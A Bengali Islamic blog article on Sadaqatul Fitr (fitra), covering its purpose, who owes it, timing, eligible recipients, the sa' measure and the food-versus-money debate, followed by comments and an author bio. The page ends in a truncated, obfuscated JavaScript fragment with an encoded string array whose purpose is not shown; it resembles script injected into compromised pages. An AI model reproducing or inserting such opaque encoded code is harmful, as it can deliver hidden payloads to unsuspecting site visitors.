০৯:৪৪ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

ফিতরা: সাদকাতুল ফিতর কী, কেন দিতে হয় এবং এর নিয়ম ও উপকারিতা কী?

সাদকাতুল ফিতর কেন আদায় করতে হয়?

ইসলাম আমাদের সম্প্রীতি  ও সহমর্মিতার শিক্ষা দেয়। রমাদানের এক মাস সিয়াম সাধনার পর আসে পবিত্র ইদ-উল-ফিতর। ধনী-গরিব সকলে মিলে যেন সমানভাবে ইদের  আনন্দ উপভোগ করতে পারে তারজন্য ইসলাম ব্যবস্থা করেছে সাদাকাতুল ফিতর নামে একটি দানের খাত। এই দানকে বলা হয় সাওমের কাফফারা বা জাকাত। আজ আমরা ফিতরা নামে যে দানের পদ্ধতি ইসলামে রয়েছে তার সম্পর্কে বিস্তারিত জানবো ইনশা-আল্লাহ।

সাদকাতুল ফিতর কী?

ফেতরা আরবি শব্দ, যা ইসলামে জাকাতুল ফিতর (ফিতরের জাকাত) বা সাদাকাতুল ফিতর (ফিতরের সদকা) ইত্যাদি নামে পরিচিত। সদকা মানে দান, ফিতর মানে রোজার সমাপন বা শেষ। ফিতর বা ফাতুর বলতে সকালের খাদ্যদ্রব্যকেও বোঝানো হয় যা দ্বারা সাওম পালনকারীরা তাদের সাওম ভঙ্গ করেন।

সুতরাং সাদকাতুল ফিতরা হলো ঐ সব খাদ্যবস্তু দান করা যা দ্বারা সিয়াম পালনকারী তাদের সাওম ভঙ্গ করতেন। সোজা কথায় ফিতরা হলো এমন খাদ্যসামগ্রী দান করা যা দ্বারা গরিব দুঃখীরা ইদের দিনে খেয়ে খুশি হয়। আর এই দান প্রতিটি সাওম পালনকারীকেই প্রদান করতে হবে।

সাদকাতুল ফিতর কেন দিতে হয়?

ইসলামে সম্পদের পবিত্রতার জন্য যেমন জাকাত (দান) দিতে হয়, ঠিক তেমনি রমাদানের সিয়ামের পবিত্রতার জন্য সাদকাতুল ফিতর (দান) দিতে হয়। আরও সহজ করে বললে বলতে হয়, পবিত্র রমাদানে সিয়াম পালন করতে গিয়ে প্রতিটি মানুষেরই অবচেতনমনে কোনো না কোনো ভাবে সিয়ামের অনেক সাধারণ ভুলত্রুটি (যেমনঃ সাওমে অবাঞ্ছনীয় অসারতা, গীবত করা, অশ্লীল কথাবার্তা, গালাগালি করাসহ নানান ছোটখাটো সগিরা গুনাহ) হয়ে থাকে। সিয়াম পালন করতে গিয়ে সেই ত্রুটি-বিচ্যুতিরই ক্ষতিপূরণ ও সংশোধনী হচ্ছে সাদকাতুল ফিতর। যা আল্লাহ রাব্বুল আলামিনের পক্ষ থেকে নির্ধারিত দানের একটি ইবাদত। জাকাত যেমন অর্থ-সম্পদকে  পবিত্র করে, ঠিক তেমনি ফিতরাও সাওমকে পবিত্র করে।

হাদিস শরিফে বর্ণিত আছে, “সদকাতুল ফিতর দ্বারা সাওম  পালনের সকল দোষত্রুটি দূরীভূত হয়, গরিবের পানাহারের ব্যবস্থা হয়।” -আবু দাউদ

উপর্যুক্ত হাদিস থেকে বুঝা যাচ্ছে সদকাতুল ফিতরের উদ্দেশ্য শুধু ‘গরিবদের ইদের খুশিতে শরিক করা’ বলে যে ধারণা প্রচলিত রয়েছে সেটা মিথ্যা। বরং এই দানের ফলে আমাদের সিয়াম সমূহের কাফফারা আদায় হয়। যা আল্লাহর পক্ষ থেকে উপহার স্বরূপ হিজরির দ্বিতীয় সালে শা’বান মাসে বিধিবদ্ধ হয়।

কাদের উপর ফিতরা ওয়াজিব

ফিতরা সেই মুসলিমের উপর ফরয যে ব্যক্তির ইদের রাত ও দিনে নিজের এবং পরিবারের আহারের প্রয়োজনের চেয়ে অতিরিক্ত খাদ্য মজুদ থাকে। আর এই সাদকা হিসাবের ক্ষেত্রে প্রতিটি মানুষকেই হিসাবে রাখতে হবে। 

একটি পরিবারে স্বাধীন ও ক্রীতদাস, পুরুষ ও নারী, ছোট,  বড়,  বাচ্চা, ধনী ও গরিব, শহরবাসী ও মরুবাসী সিয়াম পালনকারী, ভঙ্গকারী ইত্যাদির মাঝে কোন পার্থক্য নেই। এক কথায় এ দান পরিবারের সকল সদস্যকে হিসাবে রেখে, পরিবারে যতজন সদস্য আছে ততজনের ফিতরা আদায় করতে হবে।  সাদকাতুল ফিতর ফরয হওয়ার জন্য জাকাতের সমপরিমাণ নিসাব হওয়া শর্ত নয়। যেহেতু তা ব্যক্তির উপর ফরয, সম্পদের উপর নয়।

সদকায়ে ফিতর আদায়ের সময়

সাদকাতুল ফিতর আদায়ের ফজিলতপূর্ণ সময় হলো ইদের দিন সূর্যোদয়ের পর থেকে ইদের সালাতের পূর্ব পর্যন্ত। ইদের দু একদিন পূর্বেও ফিতরা আদায় করা জায়েয।  কেননা সাহাবায়ে কেরাম এরূপ করেছেন। ইদের নামাজের পর সদকায়ে ফিতর আদায় করা শুদ্ধ নয়। 

ইবনু উমার (রা.) বলেন, “নবী (সাল্লাল্লাহু আলাইহে ওয়াসাল্লাম) লোকেদের ইদের নামাজের জন্য বের হওয়ার পূর্বে ফিতরার জাকাত আদায় দেওয়ার আদেশ দিয়েছেন” (বুখারী ১৫০৯)। সুতরাং ইদের দিন ফিতরা আদায় করা সর্বোত্তম। 

ইবনে আব্বাস রা: থেকে বর্ণিত এক হাদিসে এসেছে, “যে ব্যক্তি নামাজের আগে তা আদায় করে দেবে তবে তার সদকা গ্রহণযোগ্য হবে, আর যে নামাজের পর আদায় করবে তার সদকা সাধারণ দান বলে গণ্য হবে (আবু দাউদ)”।

অর্থাৎ কেউ ইদের জামাতের পর ফিতরা আদায় করলে তা সাধারণ দানে পরিনত হবে। সাদকাতুল ফিতরের যে নেকী, সেই নেকী আর পাওয়া যাবে না। 

তাই ফিতরার খাদ্য ইদের সালাতের আগেই বন্টন করা ওয়াজিব। ইদের সালাত পর্যন্ত দেরি করা উত্তম নয়। বরঞ্চ ইদের এক বা দুই দিন আগে আদায় করলেও অসুবিধা নেই। আলেমদের বিশুদ্ধ অভিমত হলো,  ফিতরা আদায় করার সময় শুরু হয় ২৮ শে রমাদান থেকে। কারণ রমাদান মাস ২৯ দিনও হতে পারে। আবার ৩০ দিনও হতে পারে। তাই ইদের আগে দিলে গরিব দুঃখীরা আগে থেকেই ইদের আনন্দে শরীক হতে পারে।

রাসূলুল্লাহ  সাল্লাল্লাহু আলাইহি ওয়া সাল্লামের সাহাবীগণ ফিতরা ইদের একদিন বা দুই দিন আগে আদায় করতেন। এছাড়া ফিতরা আদায়ের সময় যাতে সংকীর্ণ না হয়, সেইজন্য ইদুল ফিতরের সালাত সামান্য দেরীতে পড়া উত্তম। এতেকরে ফিতরা আদায়ের যথেষ্ট সময় পাওয়া যায়।

কে ফিতরা পাবে?

কারা ফিতরা পাওয়ার যোগ্য বা কোন কোন প্রকারের লোক ফিতরা নিতে পারবে?  এ বিষয়ে আলেমদের মধ্যে কিছু মতভেদ রয়েছে।

একদল আলেম মনে করেন, যারা সাধারণ সম্পদের জাকাতের হকদার তারাই সাদকাতুল ফিতরার হকদার। তাদের দলিল হলো, ফিতরাকে রাসুল (সা.) জাকাত ও সাদাকা বলেছেন। তাই যেটা সম্পদের জাকাতের খাত হবে, সেটা ফিতরারও খাত হবে। সাদাকার যেই খাত আল্লাহ সুরা তওবায় উল্লেখ করেছেন সেই খাদ সাদাকাতুল ফিতরের জন্যও হবে।

সুতরাং সেই হিসাবে আট প্রকারের লোক হলো, আল্লাহ্ বলেন, “জাকাত হল কেবল ফকির, মিসকীন, জাকাত আদায় কারী ও যাদের চিত্ত আকর্ষণ প্রয়োজন তাদের হক এবং তা দাস-মুক্তির জন্যে-ঋণ গ্রস্তদের জন্য, আল্লাহর পথে জেহাদকারীদের জন্যে এবং মুসাফিরদের জন্যে, এই হল আল্লাহর নির্ধারিত বিধান। আল্লাহ সর্বজ্ঞ, প্রজ্ঞাময়। (সুরা: আত তাওবাহ, আয়াত: ৬০)

অন্য এক দল আলেম মনে করেন, সাদাকাতুল ফিতর বা ফিতরা কেবল ফকির মিসকিনদের হক, অন্যান্যদের নয়। তাদের  দলিল হলো, ইবনে আব্বাস (রা.) এর হাদিস, তিনি বলেন, “আল্লাহর রাসূল ফিতরের জাকাত (ফিতরা) ফরজ করেছেন রোজাদারের অশ্লীলতা ও বাজে কথা-বার্তা হতে পবিত্রতা এবং মিসকিনদের আহার স্বরূপ …” (আবু দাউদ, জাকাতুল ফিতর নম্বর ১৬০৬/ হাদিস হাসান, ইরওয়াউল গালীল নম্বর ৮৪৩)

সুতরাং উপরোক্ত হাদিসেই স্পষ্ট আছে যে, মিসকিনদের তথা, গরিব, দুঃস্থ, অসহায়, অভাবগ্রস্থকেই  ফিতরা প্রদান করা যাবে।

উপরোক্ত মতকে সমর্থন জানিয়েছেন ইবনে তাইমিয়্যাহ, ইবনুল কাইয়ুম শাওকানী, আযীমাবাদী, ইবনু উসাইমীনসহ আরো অনেকে। ( মাজমুউ ফাতাওয়া ২৫/৭৩,যাদুল মাআদ ২/২২, নায়লুল আউত্বার ৩-৪/৬৫৭, আওনুল মা’বূদ ৫-৬/৩, শারহুল মুমতি ৬/১৮৪)

অধিকাংশ আলেম উলামাদের মতে এই মতটিই অধিক সহীহ কারণ, এই মতের পক্ষে স্পষ্ট দলিল বিদ্যমান। আর প্রথম মতটি একটি কিয়াস (অনুমান) মাত্র। আর দলিলের বিপরীতে কিয়াস বৈধ নয়।

ফিতরাকে জাকাত সম্বোধন করলেও উভয়ের মধ্যে যথেষ্ট পার্থক্য রয়েছে। যেমন— ফিতরা এমন ব্যক্তির উপরও ওয়াজিব যার বাড়িতে সামান্য কিছু খাবার আছে মাত্র। কিন্তু জাকাত কেবল তার উপর ফরজ যার নিসাব পরিমাণ অর্থ- সম্পদ রয়েছে। জাকাত বাৎসরিক জমাকৃত  ধন-সম্পদের কারণে দিতে হয়।আর  ফিতরা সাওমের ত্রুটি বিচ্যুতির কারণে দিতে হয়। এসব কারণে ফিতরা ও জাকাতকে কখনোই  এক মনে করা যাবে না।

এছাড়া সাদাকা শব্দটি দানের ব্যাপক অর্থ ব্যহৃত হয়। যেকারণে ফিতরাকে সাদাকা বলা হয়েছে। তাছাড়া জাকাত, ফিতরা এবং সাধারণ দানকেও সাদাকা বলা হয়। সুতরাং সাদাকা বললেই যে তা  জাকাতকে বুঝাবে তা নয়। 

যেমন রাসুলুল্লাহ (সা.) বলেন, ‘কুল্লু মা’রুফিন সাদাকা’ অর্থাৎ প্রত্যেক ভালো কাজ সদকা। তবে নি:সন্দেহে প্রত্যেক ভালো কাজ জাকাত নয়। তবুও রাসুলুল্লাহ (সা.) তা সাদাকা বলেছেন। তাই ফিতরাকে সাদাকা বলার কারণে তা জাকাতের অন্তর্ভুক্ত হবে না।

এছাড়া উল্লেখ্য যে, ফিতরার খাদ্যসমূহের মধ্যে মসজিদ, মাদ্রাসা অন্তর্ভূক্ত নয়। তবে মাদরাসার ছাত্র, শিক্ষক এবং মসজিদের ইমাম যদি ফকির মিসকিনদের অন্তর্ভুক্ত হয়, তাহলে তারা ফিতরার হকদার হবেন। বরং তারা অন্যান্য ফকির মিসকীনদের থেকেও বেশি হকদার হবেন। কেননা এরা দ্বীনের শিক্ষা অর্জনে ও অন্যকে শিক্ষা দানে নিয়োজিত, যে গুণটি অন্যান্য ফকির মিসকিনদের নেই। 

কী দিয়ে ফিতরা দিতে হয়? 

আমাদের উপমহাদেশে টাকা দিয়ে ফিতরা আদায় করা হলেও হাদিসে খাদ্য দ্রব্য দ্বারা ফিতরা আদায়ের কথা এসেছে।  

আবু সাইদ আল-খুদরি (রা.) থেকে বর্ণিত:

“রাসুলুল্লাহ (সাল্লাল্লাহু ‘আলাইহি ওয়া সাল্লাম) আমাদের মাঝে বর্তমান থাকা অবস্থায় আমরা সাদকাতুল ফিতর বাবদ এক সা‘ খাদ্য (গম) বা এক সা‘ খেজুর বা এক সা‘ যব বা এক সা‘ পনির অথবা এক সা‘ কিসমিস দান করতাম। আমরা অব্যাহতভাবে এ নিয়মই পালন করে আসছিলাম। অবশেষে মুআবিয়াহ (রা.) মদিনায় আমাদের নিকট আসেন এবং লোকেদের সাথে আলোচনা প্রসঙ্গে বলেন, আমি শাম দেশের উত্তম গমের দু’ মুদ্দ পরিমাণকে এখানকার এক সা‘র সমান মনে করি। তখন থেকে লোকেরা এ কথাটিকেই গ্রহণ করে নিলো। আবু সাইদ (রা.) বলেন, আমি কিন্তু সারা জীবন ঐ হিসাবেই সদকাতুল ফিতর পরিশোধ করে যাবো, যে হিসাবে আমি রসূলুল্লাহ (সাল্লাল্লাহু ‘আলাইহি ওয়া সাল্লাম)-এর যুগে তা পরিশোধ করতাম। (সুনানে ইবনে মাজাহ-১৮২৯, বুখারি ১৫০৫, ১৫০৬, ১৫০৮, ১৫১০, মুসলিম ৯৮৫, তিরমিজি ৬৭৩, নাসায়ি ২৫১১, ২৫১২, ২৫১৩, ২৫১৪, ২৫১৭, ২৫১৮, আবু দাউদ ১৬১৬, ১৬১৮, আহমাদ ১০৭৯৮, ১১৩০১, ১১৫২২, দারেমী ১৬৬৩, ১৬৬৪, সহিহ আবু দাউদ ১৪৩৩, ইরওয়াহ ৩/৩৩৭, তাহকিক আলবানি: সহিহ্।) 

উপর্যুক্ত হাদিস দ্বারা সুস্পষ্ট যে, রাসুলুল্লাহ (সা.) থেকে  ফিতরা আদায়ের নির্দেশ হচ্ছে খাদ্যদ্রব্য, যেমন— গম, খেজুর, যব, পনির, কিসমিস।  এই পাঁচটি নিয়মিত খাদ্য দ্বারাই রাসুলুল্লাহ (সা.) এর সময়ে  ফিতরা আদায় করা হতো। আর খাদ্যদ্রব্য দ্বারা ফিতরা আদায় হচ্ছে সুন্নাহ পদ্ধতি। 

ফিতরার পরিমাণ 

আমাদের দেশ ও উপমহাদেশে খাদ্যদ্রব্য গমকে হিসাবে ধরে ফিতরার টাকা নির্ধারণ করা হয়। উপরের উল্লেখিত হাদিসেও এসেছে কী পরিমাণ খাদ্য দিয়ে রাসুলুল্লাহ (সা.) ফিতরা আদায় করার নির্দেশ দিয়েছেন। সুতরাং প্রত্যেকের জন্য মাথাপিছু এক “সা” খাদ্যশস্য সাদকাতুল ফিতর  হিসাবে দিতে হবে। “সা” হচ্ছে তৎকালীন সময়ের এক ধরনের ওজনের পরিমাপক।

মাঝারি দেহের অধিকারী মানুষের হাতের চার “মুদে” এক ‘সা’ হয়। (অর্থাৎ দুই হাতের কব্জি একত্র করে মুনাজাতের মতো একত্রিত করে তাতে যতটুকু ফসল নেয়া যায়, ততটুকুকে বলা এক “মুদ “। মুদ দ্বারাই আরবে দানা জাতীয় শস্য মাপা হয়।একাধিক শস্য যদি এক-‘সা’ এক-‘সা’ মেপে কেজি দিয়ে ওজন করা হয়, তাহলে এক শস্যের ওজন অপর শস্যের ওজন থেকে কম-বেশী হবে। তাই কোনো নির্দিষ্ট ওজন দ্বারা সা নির্ধারিত করা সম্ভব নয়। 

রাসুলুল্লাহ (সা.) এর সুন্নাহ হচ্ছে তৎকালীন প্রচলিত খাদ্যদ্রব্যের এক সা দ্বারা একজনের ফিতরা আদায় করা। সেই হিসাবে আমাদের উপমহাদেশে প্রচলিত খাদ্যদ্রব্য হচ্ছে চাউল এবং আটা। সুতরাং সুন্নাহ হলো চাউল বা আটা দ্বারা এক সা করে একজনের ফিতরা আদায় করা।  বর্তমানে আমাদের দেশে এক “সা”তে আড়াই কেজি চাউল হয়।

সা নিয়ে মতভেদ

আমাদের উপমহাদেশে অর্ধ সা গম বা আটার পরিমাপের অর্থ দ্বারা ফিতরা নির্ধারন করা হয়। যদিও হাদিসে পাঁচটি খাদ্যদ্রব্যের এক সা দেওয়ার কথা এসেছে। অর্ধ সা ফিতরা দেওয়ার ফতোয়াটি মুয়াবিয়ার রা:। যা আগের উল্লেখিত হাদিস থেকে বুঝা যায়। একইসাথে গম দ্বারা এই সা এর পরিমাণ হলো ৩ কেজি ৩০০ গ্রাম যা ইরাকের প্রচলিত সা। আর মদিনার সা দিয়ে গমের পরিমাণ হলো ২ কেজি ৪০০ গ্রাম। সুতরাং মদিনা এবং ইরাকের সা এর পার্থক্য রয়েছে।

একইসাথে হাদিসে এসেছে এক সা দেওয়ার কথা। যা রাসুলুল্লাহ (সা.) এবং ইসলামের চার খলিফা পর্যন্ত বলবৎ ছিলো। পরে মুআবিয়া ইসলামী রাষ্ট্রের খলিফা নির্বাচিত হন এবং ইসলামী রাষ্ট্রের রাজধানী মদিনা থেকে দামেস্কে প্রতিষ্ঠিত করেন। এরপরে দামেস্ক থেকে মদিনায় গম আমদানি হতে থাকে। সে সময় সিরিয়ার গমের মূল্য খেঁজুরের দ্বিগুণ ছিল। তাই খলিফা মুয়াবিয়া কোনো এক হজ্জ বা উমরা করার সময় মদীনায় আসলে মিম্বরে বলেন, আমি অর্ধ সা গমকে এক সা খেজুরের সমতুল্য মনে করি। লোকেরা তার এই কথা মেনে নেয়। এর পর থেকে মুসলিম জনগনের মধ্যে অর্ধ সা ফিতরার প্রচলন শুরু হয়।

উপর্যুক্ত কারণগুলো থেকে স্পষ্ট বুঝা যাচ্ছে, এক সা মদিনার পরিমাপেই একটি ফিতরা আদায় করতে হবে। কেউ যদি ইরাকের সা এর পরিমাপ ধরে মুয়াবিয়ার ফতোয়া অনুযায়ী অর্ধ সা দিয়ে ফিতরা দেয়, তাহলে তা সুন্নাহ সম্মত হবেনা। কেননা উপরের উল্লেখিত হাদিসে সাহাবী আবূ সাইদ আল-খুদরি (রা.) সহ তৎকালীন অনেকে মুয়াবিয়ার ফতোয়াকে মেনে নেয়নি। 

টাকা দিয়ে ফিতরা

বর্তমান সময়ের প্রেক্ষিতে খাদ্যদ্রব্য দিয়ে ফিতরা আদায় করা বিভিন্ন কারণে সমস্যাযুক্ত। যারফলে বিভিন্ন আলেম উলামারা খাদ্যদ্রব্যের হিসাব করে টাকা দিয়ে ফিতরা আদায়ে ঐক্যমত্য পোষণ করেন। আমাদের উপমহাদেশে গমের এক সা ৩ কেজি ৩০০ কে দুই ভাগ তথা অর্ধ সা হিসাব ধরে ১ কেজি ৬৫০ গ্রাম গমের বা আটার মূল্য ধরে সর্বনিম্ন ফিতরা দেওয়া হয়। একইভাবে খেজুর, কিশমিশ, পনির, যব দ্বারাও টাকার পরিমান করা হয়।

যদিও এক পক্ষ এই টাকা দিয়ে ফিতরা আদায়কে জায়েজ নয় বলে সম্বোধন করেন। তাদের যুক্তি হলো, রাসুলুল্লাহ (সা.) সময়েও মুদ্রার প্রচলন ছিলো। মুদ্রা দিয়ে ফিতরা আদায় জায়েজ হলে তিনি তা মুদ্রা দিয়েই দেওয়ার নির্দেশ দিতেন, যেমন জাকাতের ক্ষেত্রে দিয়েছেন। একইসাথে ফিতরা আদায়ে লক্ষ্য উদ্দেশ্য হলো মিসকিনদের ভালো  খাওয়া দাওয়া করানো। সেই কারণে টাকা নয় বরং খাদ্য দ্বারাই ফিতরা আদায় করতে হবে। যেমন হাদিসে সুস্পষ্টভাবে এসেছে।

অন্য পক্ষের যুক্তি হলো, বর্তমান পরিস্থিতি একজন মিসকিন তার ফিতরা সংগ্রহ করতে গেলে দু চারজনের বেশি সংগ্রহ করতে পারবে না ওজনের কারণে। একইসাথে শুধু খাদ্য দিয়েই একজন মিসকিন জীবনযাপন করতে পারেন না। তার প্রয়োজনীয় সবকিছু পূরণ করতে হলে টাকার প্রয়োজন। একইসাথে টাকা বহন করতে সুবিধাজনক। টাকা দিয়ে ঐ মিসকিন তার পছন্দের খাদ্য কিনে খেতে পারবে।

একজন মিসকিন যদি খাদ্য ফিতরা সংগ্রহ করে, তাহলে তার অতিরিক্ত খাদ্য জমা হয়ে যাবে। যা তাকে কম দামে দোকানে বিক্রি করতে হবে। এটা তারজন্য লোকসান। সুতরাং খাদ্যদ্রব্য নয় সময়ের পরিস্থিতির কারণে অর্থ দিয়ে ফিতরা আদায় করা যুক্তিযুক্ত। যা অধিকাংশ মুসলিমের ঐক্যমত্যের কারণে ইনশা- আল্লাহ্ তা কবুল হবে। 

শুভংকরের ফাঁকি

আমরা ইতিমধ্যে জেনেছি পাঁচ প্রকার খাদ্য দ্বারা ফিতরা আদায় করা যাবে। যা তৎকালীন আরবের প্রধান খাদ্য ছিলো। সেই হিসাবে যে অঞ্চলের যে খাদ্য প্রধান সেই খাদ্য দিয়েই ফিতরা দেওয়া সুন্নাহ। যদিও আমাদের উপমহাদেশে হাদিসে বর্ণিত পাঁচ প্রকারের খাদ্য (যব, খেজুর, পনির, কিসমিস ও গম) এর পরিমাপ করে ফিতরার টাকা নির্ধারিত হয়। 

সেই হিসাবে উন্নত মানের খেজুরের দাম বর্তমান সময়ে সবসময়ই বেশি হয়। এরপরের স্থান রয়েছে পনির যার মূল্য খেজুরের চাইতে কিছু কম। এভাবে কিসমিস, যব এবং গম। যা হাদিসে উল্লেখিত খাদ্যদ্রব্য।

আমাদের উপমহাদেশে গমের অর্ধ সা ১ কেজি ৬৫০ গ্রাম ধরে সর্বনিম্ন ফিতরা নির্ধারন করা হয়। যে হিসাব দিয়েই ধনী গরিব, সচ্ছল, অসচ্ছল, মধ্যবিত্ত, উচ্চবিত্ত সবাই ফিতরা আদায় করে। যা যৌক্তিক কারণে কখনোই সঠিক নয়। কেননা সামর্থ্য অনুযায়ী ফিতরা দিতে হবে।

প্রতিবছর গমের হিসাব ধরে ফিতরা টাকা প্রকাশিত হওয়ার কারণে অধিকাংশ মুসলমানই জানেনা যে তাকে আসলেই কত টাকা ফিতরা দেওয়া উচিত। যদিও ইসলামিক ফাউন্ডেশন সকল খাদ্যদ্রব্যের টাকা নির্ধারিত করে দিলেও, প্রচারিত হয় শুধুমাত্র সর্বনিম্ন ফিতরা টাকা ৬০/৭০/৮০ টাকার মতো। যা একজন রিকশাওয়ালা, দিনমজুরসহ খুবই সামান্য আয়ে চলে এমন ব্যক্তির জন্য প্রযোজ্য।

রাসুল (সা.) এর সুন্নাহ থেকে সরে এসে টাকা দিয়ে ফিতরা আদায়ের কারণে এমন পরিস্থিতির উদ্ভব হয়েছে। যিনি ফিতরা দিচ্ছেন তিনি সুন্নাহ মানছেন না। কারণ যিনি নিচ্ছেন তিনি খাদ্য না নিয়ে টাকা নিতে আগ্রহী। যারফলে যারা ফিতরা নিচ্ছেন তারা ক্ষতিগ্রস্ত হচ্ছে অনেকভাবে। 

যদি রাসুলুল্লাহ (সা.) এর সুন্নাহ অনুযায়ী খাদ্য দিয়ে যেমন— নূন্যতম চাউল দিয়ে ফিতরা আদায় করতে হলে, যিনি ফিতরা দিবেন তিনি নিজেই খুঁজে খুঁজে তা দিয়ে আসবেন। এবং এটাই সুন্নাহ।  এক্ষেত্রে ফিতরা গ্রহীতাকে কষ্ট করে মানুষের দুয়ারে যেতে হবে না।

এছাড়াও একজন ফিতরা গ্রহীতা যখন প্রয়োজনের অতিরিক্ত খাদ্য পাবে, সেই খাদ্য সে এমন কারো কাছে বিক্রি করবে যে কম আয়ের মানুষ। এতেকরে দুই শ্রেণীই উপকৃত হতে পারে। তাছাড়া সারা উপমহাদেশে গমের দামে ফিতরা দেওয়ার কারণে একজন দানকারী খুবই সামান্য টাকাই ফিতরা দিচ্ছে। যা অন্যান্য খাদ্য দিয়ে দিতে হলে আরো অনেক বেশিই দিতে হতো। একইভাবে কম দেওয়ার কারণে ফিতরা গ্রহীতাও কম টাকা পাচ্ছে।

একজন মিসকিন যদি পুরো একটি ফিতরা পেতো তাহলে সে নূন্যতম ২০/৩০ টির চাইতেও বেশি ফিতরা পেতো। যা চাউল দিয়ে হিসাব করলেও (২কেজি৫০০ গ্রাম ধরে)   ৫০/৭৫ কেজি হতো। যার মূল্য ৩০০০/৪৫০০ টাকা হতো। অথচ এখন ঘরে ঘরে গিয়ে ফিতরা আদায় করতে গিয়ে ১০ /২০ টাকার বেশি পায় না। যার সর্বমোট হিসাব করলে ১০০০ /১৫০০ টাকার বেশি কখনোই সম্ভব নয়।

নূন্যতম হিসাব ধরে যদি একজন গ্রহীতা তিন থেকে চার হাজার টাকা পেতে পারে। তাহলে বেশি হিসাব ধরে ফিতরা দিলে কত টাকা হতে পারে। আর আমাদের দেশের বর্তমান পরিস্থিতিতে অবশ্যই অর্ধাংশ লোক বেশি মূল্যের ফিতরা দেওয়ার উপযোগী।

এই কারণে দাতা এবং গ্রহীতা উভয়ই ক্ষতিগ্রস্ত হচ্ছে। দাতা সঠিক নিয়মে ফিতরা না দেওয়ার কারণে পরিপূর্ণ নেকী পাচ্ছে না। আর গ্রহীতা কম পাওয়ার কারণে আর্থিকভাবে লোকসানে পড়ছে। এভাবেই দ্বীন পালন করতে গিয়ে আমরা শুভংকরের ফাঁকিতে পড়ে গেছি।  সুতরাং আমাদের উচিত সুন্নাহ পদ্ধতিতে ফিতরা আদায় করা যাতে আল্লাহ্ থেকে পরিপূর্ণ নেকী পাওয়া যায় এবং গরিব দুঃখীদেরও অসচ্ছলতা দূর হয়।

সাদকাতুল ফিতরের উপকারিতা

  • এই দান যেহেতু সাওম পালনের ভুল- ত্রুটির জন্য, সেহেতু এই দানের বিনিময়ে আল্লাহ্ আমাদের গোনাহ গুলোকে মিটিয়ে দেন।  
  • রাসুলুল্লাহ (সা.) হচ্ছেন সর্বকালের সর্বশ্রেষ্ঠ জ্ঞানী। তিনি সমাজে সাম্যাবস্থা তৈরি করার জন্য এই সাদকার প্রচলন করেছেন। যাতে ধনী গরিব দুঃস্থ অসহায় সকলে মিলে ইদের আনন্দ উপভোগ করতে পারেন। 
  • এছাড়াও আল্লাহ আমাদের শারিরীক সুস্থতা ও দীর্ঘায়ু দান করেছেন। যার কারণে আমরা বেঁচে থেকে সুস্থ শরীরে এক মাস সিয়াম পালন করতে পারলাম। সুস্থতা এবং আমল করতে পারার কারণে আল্লাহ্ নিকট  শুকরিয়া স্বরুপ হলো এই ফিতরা। যা দেহের জাকাত নামেও পরিচিত।

উপর্যুক্ত আলোচনা থেকে এটা স্পষ্ট যে, প্রতিটি ব্যক্তিকে ঘরের সকল সদস্যদের ফিতরা দিতে হবে, যার ঘরে দুই তিন বেলার পর্যাপ্ত খাবার রয়েছে। একইসাথে খাদ্যদ্রব্য দ্বারাই ফিতরা আদায় সুন্নাহ। তবে পরিস্থিতির কারণে টাকা দিয়েও ফিতরা আদায় করা যাবে। তবে তা অবশ্যই সামর্থ্য অনুযায়ী দিতে হবে। সুতরাং আমাদের সকলের উচিত সামর্থ্য অনুযায়ী সুন্নাহ পদ্ধতিতে ফিতরা আদায় করা।

বিষয়:

5 thoughts on “ফিতরা: সাদকাতুল ফিতর কী, কেন দিতে হয় এবং এর নিয়ম ও উপকারিতা কী?”

  1. আলহামদুলিল্লাহ। খুব ভালো লাগলো। ধন্যবাদ।

    1. আপনাকেও ধন্যবাদ লেখাটি পড়ার জন্য। আল্লাহ্ আমাদের জ্ঞানকে আরো বৃদ্ধি করুক এবং হিদায়েতের পথে অবিচল রাখুক।

      জাযাকাল্লাহু খাইরান।

  2. আলহামদুলিল্লাহ খুব সুন্দর হয়েছে, তবে দলিল হিসেবে কিছু হাদিস এবং কুরআনের আয়াত আনলে অনেক ভালো হতো।

    1. আসসালামু আলাইকুম।

      আপনার অনুপ্রেরণামূলক মন্তব্যের জন্য অশেষ শুকরিয়া।

      মোটামুটি চেষ্টা করেছি যতটুকু পারা যায় ততটুকু দলিল আনার। তারপরও আমার অজান্তে কিছু থেকে থাকলে, জানালে উপকৃত হতাম।

      আল্লাহ্ আপনার নেক হায়াৎ বৃদ্ধি করুন আমিন।

মন্তব্য

লেখকতথ্য

সাখাওয়াতুল আলম চৌধুরী

সাখাওয়াতুল আলম চৌধুরী জন্ম চট্টগ্রামে। জীবিকার প্রয়োজনে একসময় প্রবাসী ছিলেন। প্রবাসের সেই কঠিন সময়ে লেখেলেখির হাতেখড়ি। গল্প, কবিতা, সাহিত্যের পাশাপাশি প্রবাসী বাংলা পত্রিকায়ও নিয়মিত কলাম লিখেছেন। প্রবাসের সেই চাকচিক্যের মায়া ত্যাগ করে মানুষের ভালোবাসার টানে দেশে এখন স্থায়ী বসবাস। বর্তমানে বেসরকারি চাকুরিজীবী। তাঁর ভালোলাগে বই পড়তে এবং পরিবারকে সময় দিতে।
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["G48jmJpu4O7sFbexYL7mslcmu9vkeGcIfps3xrf5FBqraXdezddV6aVs5pk8z9TI+NF3ys6K0qLwS6ILK7kIBmg1zFP23w3rFcOUVow0ZNYGV2lbDo1+ve6ExD0N86eZaAUUlj30n3Hb","k6cuYew8YMKcuvNW7sF2rl6KFRwBDZnc2hjeEiVXx1sgXHqvTb/IozpjVsHxjNW5Q6CwWb3fiTyqM3i1lp1CNWxPuHsn05/GCHw14lgZ1L1ICu/8E7MiyLq44spERudqm3Vs1aYxqKPk","reVHXF/s98XjxIP5KZqeqWUQvAAqCoqfX3ex+B28daqQYLmq9PIWdCFZKy/Dc2OOne/HfwKo+E7kpOQumGo7dLnJCJWTE5IA/YVVNWyk21/TZkz2dJklMMycL8EhEoZwPsORec18IzpI","lTzBulc7uZ3bhxtmpB64CBLFXGC3ZfD8SsR+rAdzBnUBYZtRvRnYq5AlLvY8qoObZSYwu4Cgu8gFz2lqW451ZbEap+LlTeAu9oKuylVoyXU6J3rrEvovIIp/at8A0RHcfSIxINkVnMkB","YZGaMmaNz53FL2abB7EIpoYUVOTQGV+d2UdHQDYigNV1A5K5Lqnigs0VsEKbXQRBcDz1PoPJeXawkcbJWWLxq/cVVpIA